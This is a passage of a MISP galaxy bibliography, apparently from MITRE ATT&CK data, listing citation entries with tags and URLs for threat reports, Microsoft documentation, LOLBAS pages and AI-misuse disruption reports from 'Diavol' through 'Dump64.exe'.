Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021.

The tag is: *misp-galaxy:references="Fortinet Diavol July 2021"*

Table 20348. Table References

Links
https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider

DFIR Diavol Ransomware December 2021

DFIR Report. (2021, December 13). Diavol Ransomware. Retrieved March 9, 2022.

The tag is: *misp-galaxy:references="DFIR Diavol Ransomware December 2021"*

Table 20349. Table References

Links
https://thedfirreport.com/2021/12/13/diavol-ransomware/

Überwachung APT28 Forfiles June 2015

Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.

The tag is: *misp-galaxy:references="Überwachung APT28 Forfiles June 2015"*

Table 20350. Table References

Links
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/

Microsoft DSE June 2017

Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.

The tag is: *misp-galaxy:references="Microsoft DSE June 2017"*

Table 20351. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN

Microsoft East Asia Threats September 2023

Microsoft Threat Intelligence. (2023, September). Digital threats from East Asia increase in breadth and effectiveness. Retrieved February 5, 2024.

The tag is: *misp-galaxy:references="Microsoft East Asia Threats September 2023"*

Table 20352. Table References

Links
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RW1aFyW

ESET Turla Mosquito Jan 2018

ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.

The tag is: *misp-galaxy:references="ESET Turla Mosquito Jan 2018"*

Table 20353. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf

TechNet Dir

Microsoft. (n.d.). Dir. Retrieved April 18, 2016.

The tag is: *misp-galaxy:references="TechNet Dir"*

Table 20354. Table References

Links
https://technet.microsoft.com/en-us/library/cc755121.aspx

Frisk DMA August 2016

Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.

The tag is: *misp-galaxy:references="Frisk DMA August 2016"*

Table 20355. Table References

Links
https://www.youtube.com/watch?v=fXthwl6ShOg

Redops Syscalls

Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.

The tag is: *misp-galaxy:references="Redops Syscalls"*

Table 20356. Table References

Links
https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls

GitHub Disable DDEAUTO Oct 2017

Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.

The tag is: *misp-galaxy:references="GitHub Disable DDEAUTO Oct 2017"*

Table 20357. Table References

Links
https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b

Disable automount for ISO

wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.

The tag is: *misp-galaxy:references="Disable automount for ISO"*

Table 20358. Table References

Links
https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7

Disable_Win_Event_Logging

dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.

The tag is: *misp-galaxy:references="Disable_Win_Event_Logging"*

Table 20359. Table References

Links
https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging

GitHub MOTW

wdormann. (2019, August 29). Disable Windows Explorer file associations for Disc Image Mount. Retrieved April 16, 2022.

The tag is: *misp-galaxy:references="GitHub MOTW"*

Table 20360. Table References

Links
https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7

Apple Disable SIP

Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.

The tag is: *misp-galaxy:references="Apple Disable SIP"*

Table 20361. Table References

Links
https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection

Microsoft GPO Bluetooth FEB 2009

Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.

The tag is: *misp-galaxy:references="Microsoft GPO Bluetooth FEB 2009"*

Table 20362. Table References

Links
https://technet.microsoft.com/library/dd252791.aspx

ITSyndicate Disabling PHP functions

Kondratiev, A. (n.d.). Disabling dangerous PHP functions. Retrieved July 26, 2021.

The tag is: *misp-galaxy:references="ITSyndicate Disabling PHP functions"*

Table 20363. Table References

Links
https://itsyndicate.org/blog/disabling-dangerous-php-functions/

disable_notif_synology_ransom

TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="disable_notif_synology_ransom"*

Table 20364. Table References

Links
https://x.com/TheDFIRReport/status/1498657590259109894

Krebs Discord Bookmarks 2023

Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="Krebs Discord Bookmarks 2023"*

Table 20365. Table References

Links
https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/

Diskshadow

Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.

The tag is: *misp-galaxy:references="Diskshadow"*

Table 20366. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow

Diskshadow.exe - LOLBAS Project

LOLBAS. (2018, May 25). Diskshadow.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Diskshadow.exe - LOLBAS Project"*

Table 20367. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Diskshadow/

Elastic Security Labs

Joe Desimone. (2024, August 5). Dismantling Smart App Control. Retrieved March 21, 2025.

The tag is: *misp-galaxy:references="Elastic Security Labs"*

Table 20368. Table References

Links
https://www.elastic.co/security-labs/dismantling-smart-app-control

Microsoft On the Issues February 27 2025

Steven Masada. (2025, February 27). Disrupting a Global Cybercrime Network Abusing Generative AI. Retrieved February 28, 2025.

The tag is: *misp-galaxy:references="Microsoft On the Issues February 27 2025"*

Table 20369. Table References

Links
https://blogs.microsoft.com/on-the-issues/2025/02/27/disrupting-cybercrime-abusing-gen-ai/

Microsoft Lumma Stealer Disruption May 21 2025

Steve Masada. (2025, May 21). Disrupting Lumma Stealer: Microsoft leads global action against favored cybercrime tool. Retrieved May 22, 2025.

The tag is: *misp-galaxy:references="Microsoft Lumma Stealer Disruption May 21 2025"*

Table 20370. Table References

Links
https://blogs.microsoft.com/on-the-issues/2025/05/21/microsoft-leads-global-action-against-favored-cybercrime-tool/

OpenAI-CTI

OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="OpenAI-CTI"*

Table 20371. Table References

Links
https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/

OpenAI CTI Update June 2025

Ben Nimmo, Albert Zhang, Sophia Farquhar, Max Murphy, Kimo Bumanglag. (2025, June 5). Disrupting malicious uses of AI: June 2025. Retrieved June 9, 2025.

The tag is: *misp-galaxy:references="OpenAI CTI Update June 2025"*

Table 20372. Table References

Links
https://cdn.openai.com/threat-intelligence-reports/5f73af09-a3a3-4a55-992e-069237681620/disrupting-malicious-uses-of-ai-june-2025.pdf

OpenAI CTI Update February 2025

OpenAI. (2025, February 1). Disrupting malicious uses of our models - an update February 2025. Retrieved February 27, 2025.

The tag is: *misp-galaxy:references="OpenAI CTI Update February 2025"*

Table 20373. Table References

Links
https://cdn.openai.com/threat-intelligence-reports/disrupting-malicious-uses-of-our-models-february-2025-update.pdf

Microsoft Star Blizzard August 2022

Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM's ongoing phishing operations. Retrieved June 13, 2024.

The tag is: *misp-galaxy:references="Microsoft Star Blizzard August 2022"*

Table 20374. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/

Bitdefender FunnyDream Campaign November 2020

Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.

The tag is: *misp-galaxy:references="Bitdefender FunnyDream Campaign November 2020"*

Table 20375. Table References

Links

https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf

FireEye NETWIRE March 2019

Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.

The tag is: *misp-galaxy:references="FireEye NETWIRE March 2019"*

Table 20376. Table References

Links
https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing

Cybereason Dissecting DGAs

Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.

The tag is: *misp-galaxy:references="Cybereason Dissecting DGAs"*

Table 20377. Table References

Links
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf

FireEye POSHSPY April 2017

Dunwoody, M.. (2017, April 3). Dissecting One of APT29's Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.

The tag is: *misp-galaxy:references="FireEye POSHSPY April 2017"*

Table 20378. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html

Bleeping Computer Stealer Logs 2023

Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.

The tag is: *misp-galaxy:references="Bleeping Computer Stealer Logs 2023"*

Table 20379. Table References

Links
https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/

Canadian Centre for Cyber Security September 15 2023

Communications Security Establishment Canada. (2023, September 15). Distributed Denial of Service campaign targeting multiple Canadian sectors - Canadian Centre for Cyber Security. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Canadian Centre for Cyber Security September 15 2023"*

Table 20380. Table References

Links
https://www.cyber.gc.ca/en/alerts-advisories/distributed-denial-service-campaign-targeting-multiple-canadian-sectors

Microsoft DTC

Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.

The tag is: *misp-galaxy:references="Microsoft DTC"*

Table 20381. Table References

Links
https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx

Mandiant UNC4841 August 29 2023

Austin Larsen, John Palmisano, John Wolfram, Mathew Potaczek, Michael Raggi. (2023, August 29). Diving Deep into UNC4841 Operations Following Barracuda ESG Zero-Day Remediation. Retrieved October 24, 2024.

The tag is: *misp-galaxy:references="Mandiant UNC4841 August 29 2023"*

Table 20382. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation

Microsoft AppLocker DLL

Microsoft. (2024, October 1). DLL rules in AppLocker. Retrieved April 10, 2025.

The tag is: *misp-galaxy:references="Microsoft AppLocker DLL"*

Table 20383. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/applocker/dll-rules-in-applocker

FireEye DLL Search Order Hijacking

Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="FireEye DLL Search Order Hijacking"*

Table 20384. Table References

Links
https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html

Mandiant Search Order

Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.

The tag is: *misp-galaxy:references="Mandiant Search Order"*

Table 20385. Table References

Links
https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/

Stewart 2014

Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Stewart 2014"*

Table 20386. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf

DMARC-overview

DMARC. (n.d.). Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="DMARC-overview"*

Table 20387. Table References

Links
https://dmarc.org/overview

Dnscmd.exe - LOLBAS Project

LOLBAS. (2018, May 25). Dnscmd.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Dnscmd.exe - LOLBAS Project"*

Table 20388. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/

Dnscmd Microsoft

Microsoft. (2023, February 3). Dnscmd Microsoft. Retrieved July 11, 2023.

The tag is: *misp-galaxy:references="Dnscmd Microsoft"*

Table 20389. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd

DNS Dumpster

Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="DNS Dumpster"*

Table 20390. Table References

Links
https://dnsdumpster.com/

Talos DNSpionage Nov 2018

Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.

The tag is: *misp-galaxy:references="Talos DNSpionage Nov 2018"*

Table 20391. Table References

Links
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html

DNS-msft

Microsoft. (2022). DNS Policies Overview. Retrieved June 6, 2024.

The tag is: *misp-galaxy:references="DNS-msft"*

Table 20392. Table References

Links
https://learn.microsoft.com/en-us/windows-server/networking/dns/deploy/dns-policies-overview

Unit42 DNS Mar 2019

Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.

The tag is: *misp-galaxy:references="Unit42 DNS Mar 2019"*

Table 20393. Table References

Links
https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/

DNS-CISA

CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="DNS-CISA"*

Table 20394. Table References

Links
https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information

dnx.exe - LOLBAS Project

LOLBAS. (2018, May 25). dnx.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="dnx.exe - LOLBAS Project"*

Table 20395. Table References

Links

https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dnx/

GTFOBins Docker

GTFOBins. (n.d.). docker. Retrieved February 15, 2024.

The tag is: *misp-galaxy:references="GTFOBins Docker"*

Table 20396. Table References

Links
https://gtfobins.github.io/gtfobins/docker/

Docker Daemon CLI

Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Docker Daemon CLI"*

Table 20397. Table References

Links
https://docs.docker.com/engine/reference/commandline/dockerd/

Docker API

Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.

The tag is: *misp-galaxy:references="Docker API"*

Table 20398. Table References

Links
https://docs.docker.com/engine/api/v1.41/

Docker Build Image

Docker. (null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="Docker Build Image"*

Table 20399. Table References

Links
https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild

Docker Containers API

Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Docker Containers API"*

Table 20400. Table References

Links
https://docs.docker.com/engine/api/v1.41/#tag/Container

Docker Exec

Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Docker Exec"*

Table 20401. Table References

Links
https://docs.docker.com/engine/reference/commandline/exec/

Docker Images

Docker. (n.d.). Docker Images. Retrieved April 6, 2021.

The tag is: *misp-galaxy:references="Docker Images"*

Table 20402. Table References

Links
https://docs.docker.com/engine/reference/commandline/images/

Docker Overview

Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="Docker Overview"*

Table 20403. Table References

Links
https://docs.docker.com/get-started/overview/

Docker Entrypoint

Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Docker Entrypoint"*

Table 20404. Table References

Links
https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime

TechNet Server Operator Scheduled Task

Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="TechNet Server Operator Scheduled Task"*

Table 20405. Table References

Links
https://technet.microsoft.com/library/jj852168.aspx

Cisco Umbrella DGA

Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019.

The tag is: *misp-galaxy:references="Cisco Umbrella DGA"*

Table 20406. Table References

Links
https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/

Microsoft GetAllTrustRelationships

Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.

The tag is: *misp-galaxy:references="Microsoft GetAllTrustRelationships"*

Table 20407. Table References

Links
https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships

ICANNDomainNameHijacking

ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking:

Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="ICANNDomainNameHijacking"*

Table 20408. Table References

Links
https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en

Palo Alto Unit 42 Domain Shadowing 2022

Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.

The tag is: *misp-galaxy:references="Palo Alto Unit 42 Domain Shadowing 2022"*

Table 20409. Table References

Links
https://unit42.paloaltonetworks.com/domain-shadowing/

ASERT Donot March 2018

Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.

The tag is: *misp-galaxy:references="ASERT Donot March 2018"*

Table 20410. Table References

Links
https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/

Sophos News August 13 2024

Paul Jacobs. (2024, August 13). Don’t get Mad, get wise. Retrieved August 26, 2024.

The tag is: *misp-galaxy:references="Sophos News August 13 2024"*

Table 20411. Table References

Links
https://news.sophos.com/en-us/2024/08/13/dont-get-mad-get-wise/

Mandiant URL Obfuscation 2023

Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="Mandiant URL Obfuscation 2023"*

Table 20412. Table References

Links
https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse

mandiant-masking

Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.

The tag is: *misp-galaxy:references="mandiant-masking"*

Table 20413. Table References

Links
https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse

Schema-abuse

Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="Schema-abuse"*

Table 20414. Table References

Links
https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse

Donut Github

TheWover. (2019, May 9). donut. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="Donut Github"*

Table 20415. Table References

Links
https://github.com/TheWover/donut

Introducing Donut

The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="Introducing Donut"*

Table 20416. Table References

Links
https://thewover.github.io/Introducing-Donut/

Dotnet.exe - LOLBAS Project

LOLBAS. (2019, November 12). Dotnet.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Dotnet.exe - LOLBAS Project"*

Table 20417. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/

cyberproof-double-bounce

Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.

The tag is: *misp-galaxy:references="cyberproof-double-bounce"*

Table 20418. Table References

Links
https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends

FireEye APT41 Aug 2019

Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.

The tag is: *misp-galaxy:references="FireEye APT41 Aug 2019"*

Table 20419. Table References

Links
https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf

FireEye APT41 2019

FireEye. (2019). Double DragonAPT41, a dual espionage andcyber crime operationAPT41. Retrieved September 23, 2019.

The tag is: *misp-galaxy:references="FireEye APT41 2019"*

Table 20420. Table References

Links
https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf

Malwarebytes IssacWiper CaddyWiper March 2022

Threat Intelligence Team. (2022, March 18). Double header: IsaacWiper and CaddyWiper . Retrieved April 11, 2022.

The tag is: *misp-galaxy:references="Malwarebytes IssacWiper CaddyWiper March 2022"*

Table 20421. Table References

Links
https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/

Crowdstrike-leaks

Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.

The tag is: *misp-galaxy:references="Crowdstrike-leaks"*

Table 20422. Table References

Links
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

tlseminar_downgrade_att

Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.

The tag is: *misp-galaxy:references="tlseminar_downgrade_att"*

Table 20423. Table References

Links
https://tlseminar.github.io/downgrade-attacks/

LogRhythm Do You Trust Oct 2014

Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.

The tag is: *misp-galaxy:references="LogRhythm Do You Trust Oct 2014"*

Table 20424. Table References

Links
https://logrhythm.com/blog/do-you-trust-your-computer/

VNC Vulnerabilities

Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="VNC Vulnerabilities"*

Table 20425. Table References

Links
https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/

Accenture Dragonfish Jan 2018

Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS' MEETING AND ASSOCIATES. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Accenture Dragonfish Jan 2018"*

Table 20426. Table References

Links
https://web.archive.org/web/20190508165226/https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf

Symantec Dragonfly

Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.

The tag is: *misp-galaxy:references="Symantec Dragonfly"*

Table 20427. Table References

Links
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

Symantec Dragonfly 2.0 October 2017

Symantec. (2017, October 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved April 19, 2022.

The tag is: *misp-galaxy:references="Symantec Dragonfly 2.0 October 2017"*

Table 20428. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks

Symantec Dragonfly Sept 2017

Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.

The tag is: *misp-galaxy:references="Symantec Dragonfly Sept 2017"*

Table 20429. Table References

Links
https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers

Sophos DragonForce Attack May 27 2025

Anthony Bradshaw, Hunter Neal, Morgan Demboski, Sean Gallagher. (2025, May 27). DragonForce actors target SimpleHelp vulnerabilities to attack MSP, customers. Retrieved June 2, 2025.

The tag is: *misp-galaxy:references="Sophos DragonForce Attack May 27 2025"*

Table 20430. Table References

Links
https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/

Cisco Talos Blog September 10 2024

Joey Chen. (2024, September 10). DragonRank, a Chinese-speaking SEO manipulator service

provider. Retrieved September 11, 2024.

The tag is: *misp-galaxy:references="Cisco Talos Blog September 10 2024"*

Table 20431. Table References

Links
https://blog.talosintelligence.com/dragon-rank-seo-poisoning/

Kaspersky Dridex May 2017

Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.

The tag is: *misp-galaxy:references="Kaspersky Dridex May 2017"*

Table 20432. Table References

Links
https://securelist.com/dridex-a-history-of-evolution/78531/

Dell Dridex Oct 2015

Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.

The tag is: *misp-galaxy:references="Dell Dridex Oct 2015"*

Table 20433. Table References

Links
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation

Red Canary Dridex Threat Report 2021

Red Canary. (2021, February 9). Dridex - Red Canary Threat Detection Report. Retrieved August 3, 2023.

The tag is: *misp-galaxy:references="Red Canary Dridex Threat Report 2021"*

Table 20434. Table References

Links
https://redcanary.com/threat-detection-report/threats/dridex/

volexity_0day_sophos_FW

Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.

The tag is: *misp-galaxy:references="volexity_0day_sophos_FW"*

Table 20435. Table References

Links
https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/

Google Drive Log Events

Google. (n.d.). Drive log events. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="Google Drive Log Events"*

Table 20436. Table References

Links
https://support.google.com/a/answer/4579696

Microsoft Driverquery

Microsoft. (n.d.). driverquery. Retrieved March 28, 2023.

The tag is: *misp-galaxy:references="Microsoft Driverquery"*

Table 20437. Table References

Links
https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery

Dropbox Malware Sync

David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.

The tag is: *misp-galaxy:references="Dropbox Malware Sync"*

Table 20438. Table References

Links
https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/

Cyberreason Anchor December 2019

Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.

The tag is: *misp-galaxy:references="Cyberreason Anchor December 2019"*

Table 20439. Table References

Links
https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware

Samba DRSUAPI

SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="Samba DRSUAPI"*

Table 20440. Table References

Links
https://wiki.samba.org/index.php/DRSUAPI

dsdbutil.exe - LOLBAS Project

LOLBAS. (2023, May 31). dsdbutil.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="dsdbutil.exe - LOLBAS Project"*

Table 20441. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dsdbutil/

TechNet Dsquery

Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.

The tag is: *misp-galaxy:references="TechNet Dsquery"*

Table 20442. Table References

Links
https://technet.microsoft.com/en-us/library/cc732952.aspx

CyberBit Dtrack

Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021.

The tag is: *misp-galaxy:references="CyberBit Dtrack"*

Table 20443. Table References

Links
https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/

Kaspersky Dtrack

Kaspersky Global Research and Analysis Team. (2019, September 23). DTrack: previously unknown spy-tool by Lazarus hits financial institutions and research centers. Retrieved January 20, 2021.

The tag is: *misp-galaxy:references="Kaspersky Dtrack"*

Table 20444. Table References

Links
https://usa.kaspersky.com/about/press-releases/2019_dtrack-previously-unknown-spy-tool-hits-financial-institutions-and-research-centers

dtutil.exe - LOLBAS Project

LOLBAS. (2024, June 17). dtutil.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="dtutil.exe - LOLBAS Project"*

Table 20445. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dtutil/

Crowdstrike Qakbot October 2020

CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.

The tag is: *misp-galaxy:references="Crowdstrike Qakbot October 2020"*

Table 20446. Table References

Links
https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/

Dump64.exe - LOLBAS Project

LOLBAS. (2021, November 16). Dump64.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Dump64.exe - LOLBAS Project"*

Table 20447. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dump64/

dump_pwd_dcsync

